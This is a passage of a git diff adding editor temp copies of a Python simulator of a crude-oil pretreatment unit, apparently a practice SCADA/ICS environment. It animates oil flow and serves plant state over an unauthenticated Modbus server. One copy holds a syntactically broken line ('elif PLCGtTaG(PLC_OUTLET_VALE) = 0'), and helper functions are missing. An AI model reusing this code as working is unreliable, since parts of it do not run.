= 0.01 + radius = 3 + inertia = pymunk.moment_for_circle(mass, 0, radius, (0,0)) + body = pymunk.Body(mass, inertia) + body._bodycontents.v_limit = 120 + body._bodycontents.h_limit = 1 + x = random.randint(69, 70) + body.position = x, 565 + shape = pymunk.Circle(body, radius, (0,0)) + shape.collision_type = ball_collision #liquid + space.add(body, shape) + return shape + +# Add a ball to the space +def draw_ball(screen, ball, color=THECOLORS['brown']): + p = int(ball.body.position.x), 600-int(ball.body.position.y) + pygame.draw.circle(screen, color, p, int(ball.radius), 2) + +# Add the separator vessel feed +def separator_vessel_feed(space): + body = pymunk.Body() + body.position = (420, 257) + radius = 4 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = separator_collision # Collision value for separator + space.add(shape) + return shape + +# Add the separator vessel release +def separator_vessel_release(space): + body = pymunk.Body() + body.position = (387, 225) + radius = 4 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = sep_vessel_collision + space.add(shape) + return shape + +# Add the tank level sensor +def tank_level_sensor(space): + body = pymunk.Body() + body.position = (115, 535) + radius = 3 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = tank_level_collision # tank_level + space.add(shape) + return shape + +def outlet_valve_sensor(space): + body = pymunk.Body() + body.position = (70, 410) + # Check these coords and adjust + a = (-20, 10) + b = (20, 10) + radius = 4 + shape = pymunk.Segment(body, a, b, radius) + shape.collision_type = outlet_valve_collision + space.add(shape) + return shape + +def oil_spill_sensor(space): + body = pymunk.Body() + body.position = (0, 0) + radius = 7 + a = (0, 75) + b = (SCREEN_WIDTH, 75) + shape = pymunk.Segment(body, a, b, radius) + shape.collision_type = oil_spill_collision # oil spill sensor + space.add(shape) + return shape + +# Add the feed pump to the space +def add_pump(space): + body = pymunk.Body() + body.position = (70, 585) + shape = pymunk.Poly.create_box(body, (15, 20), (0, 0), 0) + space.add(shape) + return shape + +# Draw the various "pipes" that the oil flows through +# TODO: Get rid of magic numbers and add constants + offsets +def add_oil_unit(space): + body = pymunk.Body() + body.position = (300,300) + + #oil storage unit + l1 = pymunk.Segment(body, (-278, 270), (-278, 145), 5) #left side line + l2 = pymunk.Segment(body, (-278, 145), (-246, 107), 5) + l3 = pymunk.Segment(body, (-180, 270), (-180, 145), 5) #right side line + l4 = pymunk.Segment(body, (-180, 145), (-215, 107), 5) + + #pipe to separator vessel + l5 = pymunk.Segment(body, (-246, 107), (-246, 53), 5) #left side vertical line + l6 = pymunk.Segment(body, (-246, 53), (-19, 53), 5) #bottom horizontal line + l7 = pymunk.Segment(body, (-19, 53), (-19, 33), 5) + l8 = pymunk.Segment(body, (-215, 107), (-215, 80), 5) #right side vertical line + l9 = pymunk.Segment(body, (-215, 80), (7, 80), 5) #top horizontal line + l10 = pymunk.Segment(body, (7, 80), (7, 33), 5) + + #separator vessel + l11 = pymunk.Segment(body, (-19, 31), (-95, 31), 5) #top left horizontal line + l12 = pymunk.Segment(body, (-95, 31), (-95, -23), 5) #left side vertical line + l13 = pymunk.Segment(body, (-95, -23), (-83, -23), 5) + l14 = pymunk.Segment(body, (-83, -23), (-80, -80), 5) #left waste exit line + l15 = pymunk.Segment(body, (-68, -80), (-65, -23), 5) #right waste exit line + l16 = pymunk.Segment(body, (-65, -23), (-45, -23), 5) + l17 = pymunk.Segment(body, (-45, -23), (-45, -67), 5) #elevation vertical line + l18 = pymunk.Segment(body, (-45, -67), (13, -67), 5) #left bottom line + l19 = pymunk.Segment(body, (13, -67), (13, -82), 5) #left side separator exit line + l20 = pymunk.Segment(body, (43, -82), (43, -67), 5) #right side separator exit line + l21 = pymunk.Segment(body, (43, -67), (65, -62), 5) #rigt side diagonal line + l22 = pymunk.Segment(body, (65, -62), (77, 31), 5) #right vertical line + l23 = pymunk.Segment(body, (77, 31), (7, 31), 5) #top right horizontal line + l24 = pymunk.Segment(body, (-3, -67), (-3, 10), 5) #center separator line + + #separator exit pipe + l25 = pymunk.Segment(body, (43, -85), (43, -113), 5) #right side vertical line + l26 = pymunk.Segment(body, (43, -113), (580, -113), 5) #top horizontal line + l27 = pymunk.Segment(body, (13, -85), (13, -140), 5) #left vertical line + l28 = pymunk.Segment(body, (13, -140), (580, -140), 5) #bottom horizontal line + + #waste water pipe + l29 = pymunk.Segment(body, (-87, -85), (-87, -112), 5) #left side waste line + l30 = pymunk.Segment(body, (-60, -85), (-60, -140), 5) #right side waste line + l31 = pymunk.Segment(body, (-87, -112), (-163, -112), 5) #top horizontal line + l32 = pymunk.Segment(body, (-60, -140), (-134, -140), 5) #bottom horizontal line + l33 = pymunk.Segment(body, (-163, -112), (-163, -185), 5) #left side vertical line + l34 = pymunk.Segment(body, (-134, -140), (-134, -185), 5) #right side vertical line + + space.add(l1, l2, l3, l4, l5, l6, l7, l8, l9, l10, l11, l12, l13, l14, l15, + l16, l17, l18, l19, l20, l21, l22, l23, l24, l25, + l26, l27, l28, l29, l30, l31, l32, l33, l34) # 3 + + return (l1,l2,l3,l4,l5,l6,l7,l8,l9,l10,l11,l12,l13,l14,l15,l16, + l17,l18,l19,l20,l21,l22,l23,l24,l25,l26,l27,l28,l29,l30, + l31,l32,l33,l34) + +def draw_polygon(bg, shape): + points = shape.get_vertices() + fpoints = [] + for p in points: + fpoints.append(to_pygame(p)) + pygame.draw.polygon(bg, THECOLORS['black'], fpoints) + +# Draw a single line to the screen +def draw_line(screen, line, color = None): + body = line.body + pv1 = body.position + line.a.rotated(body.angle) # 1 + pv2 = body.position + line.b.rotated(body.angle) + p1 = to_pygame(pv1) # 2 + p2 = to_pygame(pv2) + if color is None: + pygame.draw.lines(screen, THECOLORS["black"], False, [p1,p2]) + else: + pygame.draw.lines(screen, color, False, [p1,p2]) + +# Draw lines from an iterable list +def draw_lines(screen, lines): + for line in lines: + body = line.body + pv1 = body.position + line.a.rotated(body.angle) # 1 + pv2 = body.position + line.b.rotated(body.angle) + p1 = to_pygame(pv1) # 2 + p2 = to_pygame(pv2) + pygame.draw.lines(screen, THECOLORS["gray"], False, [p1,p2]) + +# Default collision function for objects +# Returning true makes the two objects collide normally just like "walls/pipes" +def no_collision(space, arbiter, *args, **kwargs): + return True + +# Called when level sensor in tank is hit +def level_reached(space, arbiter, *args, **kwargs): + log.debug("Level reached") + PLCSetTag(PLC_TANK_LEVEL, 1) # Level Sensor Hit, Tank full + PLCSetTag(PLC_FEED_PUMP, 0) # Turn off the pump +# PLCSetTag(PLC_OUTLET_VALVE, 1) # Set the outlet valve to 1 + return False + +def oil_spilled(space, arbiter, *args, **kwargs): + global oil_spilled_amount + global oil_processed_amount + log.debug("Oil Spilled") + oil_spilled_amount = oil_spilled_amount + 1 + PLCSetTag(PLC_OIL_SPILL, oil_spilled_amount) # We lost a unit of oil + PLCSetTag(PLC_FEED_PUMP, 0) # Attempt to shut off the pump + return False + +# This fires when the separator level is hit +def sep_on(space, arbiter, *args, **kwargs): + log.debug("Begin separation") + PLCSetTag(PLC_SEP_VESSEL, 1) # Sep vessel hit, begin processing + return False + +# This fires when the separator is not processing +def sep_off(space, arbiter, *args, **kwargs): + log.debug("Begin separation") + PLCSetTag(PLC_SEP_VESSEL, 0) # Sep vessel hit, begin processing + return False + +def sep_feed_on(space, arbiter, *args, **kwargs): + log.debug("Outlet Feed") + PLCSetTag(PLC_SEP_FEED, 1) + return False + +def outlet_valve_open(space, arbiter, *args, **kwargs): + log.debug("Outlet valve open") + PLCSetTag(PLC_OUTLET_VALVE, 0) + return False + +def outlet_valve_closed(space, arbiter, *args, **kwargs): + log.debug("Outlet valve close") + PLCSetTag(PLC_OUTLET_VALVE, 1) + return False + +def run_world(): + pygame.init() + screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT)) + pygame.display.set_caption("Crude Oil Pretreatment Unit") + clock = pygame.time.Clock() + running = True + + + # Create game space (world) and set gravity to normal + space = pymunk.Space() #2 + space.gravity = (0.0, -900.0) + + # When oil collides with tank_level, call level_reached + space.add_collision_handler(tank_level_collision, ball_collision, begin=level_reached) + space.add_collision_handler(oil_spill_collision, ball_collision, begin=oil_spilled) + + + pump = add_pump(space) + lines = add_oil_unit(space) + tank_level = tank_level_sensor(space) + separator_vessel = separator_vessel_release(space) + separator_feed = separator_vessel_feed(space) + separator_feed = separator_vessel_feed(space) + oil_spill = oil_spill_sensor(space) + outlet = outlet_valve_sensor(space) + + + balls = [] + + ticks_to_next_ball = 1 + + # Set font settings + fontBig = pygame.font.SysFont(None, 40) + fontMedium = pygame.font.SysFont(None, 26) + fontSmall = pygame.font.SysFont(None, 18) + + while running: + # Advance the game clock + clock.tick(FPS) + + for event in pygame.event.get(): + if event.type == QUIT: + running = False + elif event.type == KEYDOWN and event.key == K_ESCAPE: + running = False + + bg = pygame.image.load("oil_unit.png") + + screen.fill(THECOLORS["grey"]) + + # If the feed pump is on + if PLCGetTag(PLC_FEED_PUMP) == 1: + # Draw the valve if the pump is on + # If the oil reaches the level sensor at the top of the tank + if (PLCGetTag(PLC_TANK_LEVEL) == 1): + PLCSetTag(PLC_FEED_PUMP, 0) + space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on) + space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on) + + else: + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision) + + if PLCGetTag(PLC_OUTLET_VALVE) == 1: # Valve is closed + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=outlet_valve_closed) + elif PLCGetTag(PLC_OUTLET_VALVE) == 0: # Valve is open + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision) + + # If the separator process is turned on + if PLCGetTag(PLC_SEP_VESSEL) == 1: + space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on) + space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on) + else: + elif PLCGtTaG(PLC_OUTLET_VALE) = 0: # Valve is open + space.add_collision_handler(separator_collision, ball_collision, begin=no_collision) + + + ticks_to_next_ball -= 1 + + if ticks_to_next_ball <= 0 and PLCGetTag(PLC_FEED_PUMP) == 1: + ticks_to_next_ball = 1 + ball_shape = add_ball(space) + balls.append(ball_shape) + + balls_to_remove = [] + for ball in balls: + if ball.body.position.y < 0 or ball.body.position.x > SCREEN_WIDTH+150: + balls_to_remove.append(ball) + + draw_ball(bg, ball) + + for ball in balls_to_remove: + space.remove(ball, ball.body) + balls.remove(ball) + + draw_polygon(bg, pump) + draw_lines(bg, lines) + draw_ball(bg, tank_level, THECOLORS['black']) + draw_ball(bg, separator_vessel, THECOLORS['black']) + draw_ball(bg, separator_feed, THECOLORS['black']) + draw_line(bg, outlet) + + #draw_ball(screen, separator_feed, THECOLORS['red']) + title = fontMedium.render(str("Crude Oil Pretreatment Unit"), 1, THECOLORS['blue']) + name = fontBig.render(str("VirtuaPlant"), 1, THECOLORS['gray20']) + instructions = fontSmall.render(str("(press ESC to quit)"), 1, THECOLORS['gray']) + feed_pump_label = fontMedium.render(str("Feed Pump"), 1, THECOLORS['blue']) + oil_storage_label = fontMedium.render(str("Oil Storage Unit"), 1, THECOLORS['blue']) + separator_label = fontMedium.render(str("Separator Vessel"), 1, THECOLORS['blue']) + waste_water_label = fontMedium.render(str("Waste Water Treatment Unit"), 1, THECOLORS['blue']) + tank_sensor = fontSmall.render(str("Tank Level Sensor"), 1, THECOLORS['blue']) + separator_release = fontSmall.render(str("Separator Vessel Release Sensor"), 1, THECOLORS['blue']) + waste_sensor = fontSmall.render(str("Waste Water Sensor"), 1, THECOLORS['blue']) + outlet_sensor = fontSmall.render(str("Outlet Valve Sensor"), 1, THECOLORS['blue']) + + bg.blit(title, (300, 40)) + bg.blit(name, (347, 10)) + bg.blit(instructions, (SCREEN_WIDTH-115, 0)) + bg.blit(feed_pump_label, (80, 0)) + bg.blit(oil_storage_label, (125, 100)) + bg.blit(separator_label, (385,275)) + screen.blit(waste_water_label, (265, 490)) + bg.blit(tank_sensor, (125, 50)) + bg.blit(outlet_sensor, (90, 195)) + bg.blit(separator_release, (350, 375)) + bg.blit(waste_sensor, (90, 375)) + screen.blit(bg, (0, 0)) + + space.step(1/FPS) + pygame.display.flip() + + if reactor.running: + reactor.callFromThread(reactor.stop) + +store = ModbusSlaveContext( + di = ModbusSequentialDataBlock(0, [0]*100), + co = ModbusSequentialDataBlock(0, [0]*100), + hr = ModbusSequentialDataBlock(0, [0]*100), + ir = ModbusSequentialDataBlock(0, [0]*100)) + +context = ModbusServerContext(slaves=store, single=True) + +# Modbus PLC server information +identity = ModbusDeviceIdentification() +identity.VendorName = 'Simmons Oil Refining Platform' +identity.ProductCode = 'SORP' +identity.VendorUrl = 'http://simmons.com/markets/oil-gas/pages/refining-industry.html' +identity.ProductName = 'SORP 3850' +identity.ModelName = 'Simmons ORP 3850' +identity.MajorMinorRevision = '2.09.01' + +def startModbusServer(): + # Run a modbus server on specified address and modbus port (5020) + StartTcpServer(context, identity=identity, address=(args.server_addr, MODBUS_SERVER_PORT)) + +def main(): + reactor.callInThread(run_world) + startModbusServer() + +if __name__ == '__main__': + sys.exit(main()) diff --git a/plants/oil-refinery/.~c9_invoke_qPHwNL.py b/plants/oil-refinery/.~c9_invoke_qPHwNL.py new file mode 100644 index 0000000..b501b52 --- /dev/null +++ b/plants/oil-refinery/.~c9_invoke_qPHwNL.py @@ -0,0 +1,468 @@ +#!/usr/bin/env python +import logging + +# - Multithreading +from twisted.internet import reactor + +# - Modbus +from pymodbus.server.async import StartTcpServer +from pymodbus.device import ModbusDeviceIdentification +from pymodbus.datastore import ModbusSequentialDataBlock +from pymodbus.datastore import ModbusSlaveContext, ModbusServerContext +from pymodbus.transaction import ModbusRtuFramer, ModbusAsciiFramer + +# - World Simulator +import sys, random +import pygame +from pygame.locals import * +from pygame.color import * +import pymunk + +import socket + +import argparse +import os +import sys +import time + +# Override Argument parser to throw error and generate help message +# if undefined args are passed +class MyParser(argparse.ArgumentParser): + def error(self, message): + sys.stderr.write('error: %s\n' % message) + self.print_help() + sys.exit(2) + +# Create argparser object to add command line args and help option +parser = MyParser( + description = 'This Python script starts the SCADA/ICS World Server', + epilog = '', + add_help = True) + +# Add a "-i" argument to receive a filename +parser.add_argument("-t", action = "store", dest="server_addr", + help = "Modbus server IP address to listen on") + +# Print help if no args are supplied +if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + +# Split and process arguments into "args" +args = parser.parse_args() + +logging.basicConfig() +log = logging.getLogger() +log.setLevel(logging.INFO) + +# Display settings +SCREEN_WIDTH = 580 +SCREEN_HEIGHT = 460 +FPS=50.0 + +# Port the world will listen on +MODBUS_SERVER_PORT=5020 + +# Amount of oil spilled/processed +oil_spilled_amount = 0 +oil_processed_amount = 0 + +# PLC Register values for various control functions +PLC_FEED_PUMP = 0x01 +PLC_TANK_LEVEL = 0x02 +PLC_OUTLET_VALVE = 0x03 +PLC_SEP_VESSEL = 0x04 +PLC_SEP_FEED = 0x05 +PLC_OIL_SPILL = 0x06 +PLC_OIL_PROCESSED = 0x07 + +# Collision types +tank_level_collision = 0x4 +ball_collision = 0x5 +outlet_valve_collision = 0x6 +sep_vessel_collision = 0x7 +separator_collision = 0x8 +oil_spill_collision = 0x9 + + +def to_pygame(p): + """Small hack to convert pymunk to pygame coordinates""" + return int(p.x), int(-p.y+600) + +# Add "oil" to the world space +def add_ball(space): + mass = 0.01 + radius = 3 + inertia = pymunk.moment_for_circle(mass, 0, radius, (0,0)) + body = pymunk.Body(mass, inertia) + body._bodycontents.v_limit = 120 + body._bodycontents.h_limit = 1 + x = random.randint(69, 70) + body.position = x, 565 + shape = pymunk.Circle(body, radius, (0,0)) + shape.collision_type = ball_collision #liquid + space.add(body, shape) + return shape + +# Add a ball to the space +def draw_ball(screen, ball, color=THECOLORS['brown']): + p = int(ball.body.position.x), 600-int(ball.body.position.y) + pygame.draw.circle(screen, color, p, int(ball.radius), 2) + +# Add the separator vessel feed +def separator_vessel_feed(space): + body = pymunk.Body() + body.position = (420, 257) + radius = 4 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = separator_collision # Collision value for separator + space.add(shape) + return shape + +# Add the separator vessel release +def separator_vessel_release(space): + body = pymunk.Body() + body.position = (387, 225) + radius = 4 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = sep_vessel_collision + space.add(shape) + return shape + +# Add the tank level sensor +def tank_level_sensor(space): + body = pymunk.Body() + body.position = (115, 535) + radius = 3 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = tank_level_collision # tank_level + space.add(shape) + return shape + +def outlet_valve_sensor(space): + body = pymunk.Body() + body.position = (70, 410) + # Check these coords and adjust + a = (-20, 10) + b = (20, 10) + radius = 4 + shape = pymunk.Segment(body, a, b, radius) + shape.collision_type = outlet_valve_collision + space.add(shape) + return shape + +def oil_spill_sensor(space): + body = pymunk.Body() + body.position = (0, 0) + radius = 7 + a = (0, 75) + b = (SCREEN_WIDTH, 75) + shape = pymunk.Segment(body, a, b, radius) + shape.collision_type = oil_spill_collision # oil spill sensor + space.add(shape) + return shape + +# Add the feed pump to the space +def add_pump(space): + body = pymunk.Body() + body.position = (70, 585) + shape = pymunk.Poly.create_box(body, (15, 20), (0, 0), 0) + space.add(shape) + return shape + +# Draw the various "pipes" that the oil flows through +# TODO: Get rid of magic numbers and add constants + offsets +def add_oil_unit(space): + body = pymunk.Body() + body.position = (300,300) + + #oil storage unit + l1 = pymunk.Segment(body, (-278, 270), (-278, 145), 5) #left side line + l2 = pymunk.Segment(body, (-278, 145), (-246, 107), 5) + l3 = pymunk.Segment(body, (-180, 270), (-180, 145), 5) #right side line + l4 = pymunk.Segment(body, (-180, 145), (-215, 107), 5) + + #pipe to separator vessel + l5 = pymunk.Segment(body, (-246, 107), (-246, 53), 5) #left side vertical line + l6 = pymunk.Segment(body, (-246, 53), (-19, 53), 5) #bottom horizontal line + l7 = pymunk.Segment(body, (-19, 53), (-19, 33), 5) + l8 = pymunk.Segment(body, (-215, 107), (-215, 80), 5) #right side vertical line + l9 = pymunk.Segment(body, (-215, 80), (7, 80), 5) #top horizontal line + l10 = pymunk.Segment(body, (7, 80), (7, 33), 5) + + #separator vessel + l11 = pymunk.Segment(body, (-19, 31), (-95, 31), 5) #top left horizontal line + l12 = pymunk.Segment(body, (-95, 31), (-95, -23), 5) #left side vertical line + l13 = pymunk.Segment(body, (-95, -23), (-83, -23), 5) + l14 = pymunk.Segment(body, (-83, -23), (-80, -80), 5) #left waste exit line + l15 = pymunk.Segment(body, (-68, -80), (-65, -23), 5) #right waste exit line + l16 = pymunk.Segment(body, (-65, -23), (-45, -23), 5) + l17 = pymunk.Segment(body, (-45, -23), (-45, -67), 5) #elevation vertical line + l18 = pymunk.Segment(body, (-45, -67), (13, -67), 5) #left bottom line + l19 = pymunk.Segment(body, (13, -67), (13, -82), 5) #left side separator exit line + l20 = pymunk.Segment(body, (43, -82), (43, -67), 5) #right side separator exit line + l21 = pymunk.Segment(body, (43, -67), (65, -62), 5) #rigt side diagonal line + l22 = pymunk.Segment(body, (65, -62), (77, 31), 5) #right vertical line + l23 = pymunk.Segment(body, (77, 31), (7, 31), 5) #top right horizontal line + l24 = pymunk.Segment(body, (-3, -67), (-3, 10), 5) #center separator line + + #separator exit pipe + l25 = pymunk.Segment(body, (43, -85), (43, -113), 5) #right side vertical line + l26 = pymunk.Segment(body, (43, -113), (580, -113), 5) #top horizontal line + l27 = pymunk.Segment(body, (13, -85), (13, -140), 5) #left vertical line + l28 = pymunk.Segment(body, (13, -140), (580, -140), 5) #bottom horizontal line + + #waste water pipe + l29 = pymunk.Segment(body, (-87, -85), (-87, -112), 5) #left side waste line + l30 = pymunk.Segment(body, (-60, -85), (-60, -140), 5) #right side waste line + l31 = pymunk.Segment(body, (-87, -112), (-163, -112), 5) #top horizontal line + l32 = pymunk.Segment(body, (-60, -140), (-134, -140), 5) #bottom horizontal line + l33 = pymunk.Segment(body, (-163, -112), (-163, -185), 5) #left side vertical line + l34 = pymunk.Segment(body, (-134, -140), (-134, -185), 5) #right side vertical line + + space.add(l1, l2, l3, l4, l5, l6, l7, l8, l9, l10, l11, l12, l13, l14, l15, + l16, l17, l18, l19, l20, l21, l22, l23, l24, l25, + l26, l27, l28, l29, l30, l31, l32, l33, l34) # 3 + + return (l1,l2,l3,l4,l5,l6,l7,l8,l9,l10,l11,l12,l13,l14,l15,l16, + l17,l18,l19,l20,l21,l22,l23,l24,l25,l26,l27,l28,l29,l30, + l31,l32,l33,l34) + +def draw_polygon(bg, shape): + points = shape.get_vertices() + fpoints = [] + for p in points: + fpoints.append(to_pygame(p)) + pygame.draw.polygon(bg, THECOLORS['black'], fpoints) + +# Draw a single line to the screen +def draw_line(screen, line, color = None): + body = line.body + pv1 = body.position + line.a.rotated(body.angle) # 1 + pv2 = body.position + line.b.rotated(body.angle) + p1 = to_pygame(pv1) # 2 + p2 = to_pygame(pv2) + if color is None: + pygame.draw.lines(screen, THECOLORS["black"], False, [p1,p2]) + else: + pygame.draw.lines(screen, color, False, [p1,p2]) + +# Draw lines from an iterable list +def draw_lines(screen, lines): + for line in lines: + body = line.body + pv1 = body.position + line.a.rotated(body.angle) # 1 + pv2 = body.position + line.b.rotated(body.angle) + p1 = to_pygame(pv1) # 2 + p2 = to_pygame(pv2) + pygame.draw.lines(screen, THECOLORS["gray"], False, [p1,p2]) + +# Default collision function for objects +# Returning true makes the two objects collide normally just like "walls/pipes" +def no_collision(space, arbiter, *args, **kwargs): + return True + +# Called when level sensor in tank is hit +def level_reached(space, arbiter, *args, **kwargs): + log.debug("Level reached") + PLCSetTag(PLC_TANK_LEVEL, 1) # Level Sensor Hit, Tank full + PLCSetTag(PLC_FEED_PUMP, 0) # Turn off the pump +# PLCSetTag(PLC_OUTLET_VALVE, 1) # Set the outlet valve to 1 + return False + +def oil_spilled(space, arbiter, *args, **kwargs): + global oil_spilled_amount + global oil_processed_amount + log.debug("Oil Spilled") + oil_spilled_amount = oil_spilled_amount + 1 + PLCSetTag(PLC_OIL_SPILL, oil_spilled_amount) # We lost a unit of oil + PLCSetTag(PLC_FEED_PUMP, 0) # Attempt to shut off the pump + return False + +# This fires when the separator level is hit +def sep_on(space, arbiter, *args, **kwargs): + log.debug("Begin separation") + PLCSetTag(PLC_SEP_VESSEL, 1) # Sep vessel hit, begin processing + return False + +# This fires when the separator is not processing +def sep_off(space, arbiter, *args, **kwargs): + log.debug("Begin separation") + PLCSetTag(PLC_SEP_VESSEL, 0) # Sep vessel hit, begin processing + return False + +def sep_feed_on(space, arbiter, *args, **kwargs): + log.debug("Outlet Feed") + PLCSetTag(PLC_SEP_FEED, 1) + return False + +def outlet_valve_open(space, arbiter, *args, **kwargs): + log.debug("Outlet valve open") + PLCSetTag(PLC_OUTLET_VALVE, 0) + return False + +def outlet_valve_closed(space, arbiter, *args, **kwargs): + log.debug("Outlet valve close") + PLCSetTag(PLC_OUTLET_VALVE, 1) + return False + +def run_world(): + pygame.init() + screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT)) + pygame.display.set_caption("Crude Oil Pretreatment Unit") + clock = pygame.time.Clock() + running = True + + + # Create game space (world) and set gravity to normal + space = pymunk.Space() #2 + space.gravity = (0.0, -900.0) + + # When oil collides with tank_level, call level_reached + space.add_collision_handler(tank_level_collision, ball_collision, begin=level_reached) + space.add_collision_handler(oil_spill_collision, ball_collision, begin=oil_spilled) + + + pump = add_pump(space) + lines = add_oil_unit(space) + tank_level = tank_level_sensor(space) + separator_vessel = separator_vessel_release(space) + separator_feed = separator_vessel_feed(space) + separator_feed = separator_vessel_feed(space) + + outlet = outlet_valve_sensor(space) + + + balls = [] + + ticks_to_next_ball = 1 + + # Set font settings + fontBig = pygame.font.SysFont(None, 40) + fontMedium = pygame.font.SysFont(None, 26) + fontSmall = pygame.font.SysFont(None, 18) + + while running: + # Advance the game clock + clock.tick(FPS) + + for event in pygame.event.get(): + if event.type == QUIT: + running = False + elif event.type == KEYDOWN and event.key == K_ESCAPE: + running = False + + bg = pygame.image.load("oil_unit.png") + + screen.fill(THECOLORS["grey"]) + + # If the feed pump is on + if PLCGetTag(PLC_FEED_PUMP) == 1: + # Draw the valve if the pump is on + # If the oil reaches the level sensor at the top of the tank + if (PLCGetTag(PLC_TANK_LEVEL) == 1): + PLCSetTag(PLC_FEED_PUMP, 0) + space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on) + space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on) + + else: + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision) + + if PLCGetTag(PLC_OUTLET_VALVE) == 1: # Valve is closed + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=outlet_valve_closed) + elif PLCGetTag(PLC_OUTLET_VALVE) == 0: # Valve is open + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision) + + # If the separator process is turned on + if PLCGetTag(PLC_SEP_VESSEL) == 1: + space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on) + space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on) + else: + space.add_collision_handler(sep_vessel_collision, ball_collision, begin=no_collision) + space.add_collision_handler(separator_collision, ball_collision, begin=no_collision) + + + ticks_to_next_ball -= 1 + + if ticks_to_next_ball <= 0 and PLCGetTag(PLC_FEED_PUMP) == 1: + ticks_to_next_ball = 1 + ball_shape = add_ball(space) + balls.append(ball_shape) + + balls_to_remove = [] + for ball in balls: + if ball.body.position.y < 0 or ball.body.position.x > SCREEN_WIDTH+150: + balls_to_remove.append(ball) + + draw_ball(bg, ball) + + for ball in balls_to_remove: + space.remove(ball, ball.body) + balls.remove(ball) + + draw_polygon(bg, pump) + draw_lines(bg, lines) + draw_ball(bg, tank_level, THECOLORS['black']) + draw_ball(bg, separator_vessel, THECOLORS['black']) + draw_ball(bg, separator_feed, THECOLORS['black']) + draw_line(bg, outlet) + + #draw_ball(screen, separator_feed, THECOLORS['red']) + title = fontMedium.render(str("Crude Oil Pretreatment Unit"), 1, THECOLORS['blue']) + name = fontBig.render(str("VirtuaPlant"), 1, THECOLORS['gray20']) + instructions = fontSmall.render(str("(press ESC to quit)"), 1, THECOLORS['gray']) + feed_pump_label = fontMedium.render(str("Feed Pump"), 1, THECOLORS['blue']) + oil_storage_label = fontMedium.render(str("Oil Storage Unit"), 1, THECOLORS['blue']) + separator_label = fontMedium.render(str("Separator Vessel"), 1, THECOLORS['blue']) + waste_water_label = fontMedium.render(str("Waste Water Treatment Unit"), 1, THECOLORS['blue']) + tank_sensor = fontSmall.render(str("Tank Level Sensor"), 1, THECOLORS['blue']) + separator_release = fontSmall.render(str("Separator Vessel Release Sensor"), 1, THECOLORS['blue']) + waste_sensor = fontSmall.render(str("Waste Water Sensor"), 1, THECOLORS['blue']) + outlet_sensor = fontSmall.render(str("Outlet Valve Sensor"), 1, THECOLORS['blue']) + + bg.blit(title, (300, 40)) + bg.blit(name, (347, 10)) + bg.blit(instructions, (SCREEN_WIDTH-115, 0)) + bg.blit(feed_pump_label, (80, 0)) + bg.blit(oil_storage_label, (125, 100)) + bg.blit(separator_label, (385,275)) + screen.blit(waste_water_label, (265, 490)) + bg.blit(tank_sensor, (125, 50)) + bg.blit(outlet_sensor, (90, 195)) + bg.blit(separator_release, (350, 375)) + bg.blit(waste_sensor, (90, 375)) + screen.blit(bg, (0, 0)) + + space.step(1/FPS) + pygame.display.flip() + + if reactor.running: + reactor.callFromThread(reactor.stop) + +store = ModbusSlaveContext( + di = ModbusSequentialDataBlock(0, [0]*100), + co = ModbusSequentialDataBlock(0, [0]*100), + hr = ModbusSequentialDataBlock(0, [0]*100), + ir = ModbusSequentialDataBlock(0, [0]*100)) + +context = ModbusServerContext(slaves=store, single=True) + +# Modbus PLC server information +identity = ModbusDeviceIdentification() +identity.VendorName = 'Simmons Oil Refining Platform' +identity.ProductCode = 'SORP' +identity.VendorUrl = 'http://simmons.com/markets/oil-gas/pages/refining-industry.html' +identity.ProductName = 'SORP 3850' +identity.ModelName = 'Simmons ORP 3850' +identity.MajorMinorRevision = '2.09.01' + +def startModbusServer(): + # Run a modbus server on specified address and modbus port (5020) + StartTcpServer(context, identity=identity, address=(args.server_addr, MODBUS_SERVER_PORT)) + +def main(): + reactor.callInThread(run_world) + startModbusServer() + +if __name__ == '__main__': + sys.exit(main()) diff --git a/plants/oil-refinery/.~c9_invoke_rOvfh7.py b/plants/oil-refinery/.~c9_invoke_rOvfh7.py new file mode 100644 index 0000000..2b2dd45 --- /dev/null +++ b/plants/oil-refinery/.~c9_invoke_rOvfh7.py @@ -0,0 +1,468 @@ +#!/usr/bin/env python +import logging + +# - Multithreading +from twisted.internet import reactor + +# - Modbus +from pymodbus.server.async import StartTcpServer +from pymodbus.device import ModbusDeviceIdentification +from pymodbus.datastore import ModbusSequentialDataBlock +from pymodbus.datastore import ModbusSlaveContext, ModbusServerContext +from pymodbus.transaction import ModbusRtuFramer, ModbusAsciiFramer + +# - World Simulator +import sys, random +import pygame +from pygame.locals import * +from pygame.color import * +import pymunk + +import socket + +import argparse +import os +import sys +import time + +# Override Argument parser to throw error and generate help message +# if undefined args are passed +class MyParser(argparse.ArgumentParser): + def error(self, message): + sys.stderr.write('error: %s\n' % message) + self.print_help() + sys.exit(2) + +# Create argparser object to add command line args and help option +parser = MyParser( + description = 'This Python script starts the SCADA/ICS World Server', + epilog = '', + add_help = True) + +# Add a "-i" argument to receive a filename +parser.add_argument("-t", action = "store", dest="server_addr", + help = "Modbus server IP address to listen on") + +# Print help if no args are supplied +if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + +# Split and process arguments into "args" +args = parser.parse_args() + +logging.basicConfig() +log = logging.getLogger() +log.setLevel(logging.INFO) + +# Display settings +SCREEN_WIDTH = 580 